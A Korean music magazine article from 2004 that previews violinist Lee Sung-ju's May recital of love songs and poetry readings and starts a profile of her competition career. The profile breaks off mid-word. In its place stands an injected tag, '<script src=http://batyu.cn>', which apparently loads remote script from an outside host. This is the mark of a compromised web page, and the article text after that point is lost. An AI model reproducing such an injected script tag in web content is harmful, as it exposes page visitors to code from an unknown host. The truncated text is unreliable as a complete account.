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September.2026
 
 
 
 
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“선생님이라기보다는 ‘인생 선배’로서 학생들을 대하고 싶어요. 그들보다 이 세상을 앞서 경험한 사람으로서 말입니다. 그래서 제가 경험한 방식들을 가르쳐주고 싶어요. 학생들에게 좋은 테크닉, 좋은 연습방법을 설명하기보다는 진정한 음악의 길을 걷도록 해주고 싶어요. 물론 그러기 위해서는 학생들과 학부모의 노력이 함께 필요하겠죠.”

‘웰빙’(well-being) 열풍이 불고 있다. 값비싼 레스토랑보다는 유기농 재료들을 사용한 음식점들이 인기를 누리고 있으며, 커피나 탄산음료보다는 다양한 차 종류와 건강식품들이 소비자들의 눈길을 끌고 있다. 백화점에서는 불경기에도 불구하고 각종 헬스 용품을 찾는 사람들이 늘고, 휘트니스 클럽 역시 이러한 사람들을 위해 24시간 동안 운영하는 곳이 생기고 있다.

‘웰빙’ 열풍은 음악계에서도 예외는 아닌 듯싶다. 오는 5월 18일 오후 8시 호암아트홀에서 열리는 ‘이성주의 작은 사랑 노래’는 시 낭송과 음악의 어우러짐을 통해 웰빙 분위기를 연상케 하는 색다른(?) 음악회다. 특히 가정의 달 5월을 맞이해 온 가족이 함께 즐길 수 있도록 ‘사랑의 음악회’로 마련했다.

“음악은 연주자로 하여금 무대에서 청중과 대화를 나누게 합니다. 일종의 감성을 표현하는 ‘틀’이라 할 수 있죠. 그래서 이번 연주회는 그동안 시간적·정신적으로 여유가 없었던 사람들과 진지한 음악 이야기를 나눠보고 싶습니다. 시와 음악의 조화를 통해 또 다른 음악의 매력을 선사하고 싶어요.”

특히 이번 음악회는 지난해 11월 발매되어 큰 호응을 얻었던 바이올린 소품집 ‘이성주의 작은 사랑 노래’(Ales 2뮤직)의 기념 공연으로 사랑에 관한 아름다운 선율을 가진 작품들과 시인 도종환의 ‘사랑의 길’, 이성선의 ‘사랑하는 별 하나’와 같은 감미로운 시들을 낭송하며 진행될 예정이다.

연주는 테너 최상호(한국예종)의 시 낭송과 지난 앨범에도 같이 참여했던 기타리스트 이성우가 우정 출연하며, 그동안 여러 차례 호흡을 맞추었던 피아니스트 한방원(성신여대)이 호흡을 맞춘다.

레퍼토리는 르클레어의 ‘바이올린과 피아노를 위한 소나타 D장조 Op.9 No.3’, 그리그의 ‘바이올린과 피아노를 위한 소나타 c단조 Op.45’, 파가니니의 ‘칸타빌레’, 퓨욜의 ‘부에노스 아이레스 모음곡’, 퐁세-하이페츠의 ‘에스트렐리타’, 샤미나드-크라이슬러의 ‘스페인 세레나데’, 슈만의 ‘로망스’, 크라이슬러의 ‘낭만의 자장가’, 엘가의 ‘아침의 인사’ 등이다.

 

힘든 만큼 보람있었던 유학생활

‘시벨리우스 콩쿨 1위, 워싱턴 콩쿨 1위, 비에니아프스키 콩쿨 1위, 차이코프스키 콩쿨 입상, 퀸 엘리자베스 콩쿨 입상, 그리고 체코 필하모닉·세인트루이스 심포니·볼티모어 심포니·시애틀 심포니·마이애미 심포니·맨스필드 심포니·미시간 심포니 등과 협연….’

이성주의 국제 콩쿨 입상과 오케스트라 협연 경력을 간단하게 적어봤다. 지금 와서 그의 경력을 들춰보는 것은 어쩌면 큰 의미가 없을지도 모른다. 그만큼 이성주는 국제 무대에서 한국을 빛내는 일류 연주자로 확고한 자리를 굳혔기 때문이다.

하지만 그의 프로필에 대해 더욱 구체적으로 언급하지 못하는 데는 그만한 이유가 있다. 그는 단지 몇 줄로 요약할 수 없을 만큼 수많은 콩쿨에 입상했으며, 세계 유수 오케스트라와 협연 무대를 가졌기 때문이다.

그에게 이런 화려한(?) 경력을 갖게 해준 계기는 이화여중 재학시로 거슬러 올라간다. 성악을 좋아하신 아버지와 피아노를 연주하신 어머니, 그리고 언니·오빠 모두 음악을 좋아했던 까닭에 그는 5세라는 어린 나이에 자연스럽게 바이올린을 접하게 됐다. 멋모르고 시작한 바이올린이었지만 악기를 시작한 지 얼마 되지 않아 콩쿨에 입상을 하게 되자 부모님께서는 재능이 있는 것 같다며 그에게 본격적으로 악기를 가르치기 시작했다.

그러던 중 당시 인디애나 주에 살고 있었던 김원모(단국대) 교수가 공연차 내한했다가 그의 연주를 듣고는 자청해서 도움을 주었다. 그의 연주 테이프를 갈라미언 교수에게 보내준 것이다. 부모님 역시 여?script src=http://batyu.cn>

2004.5.
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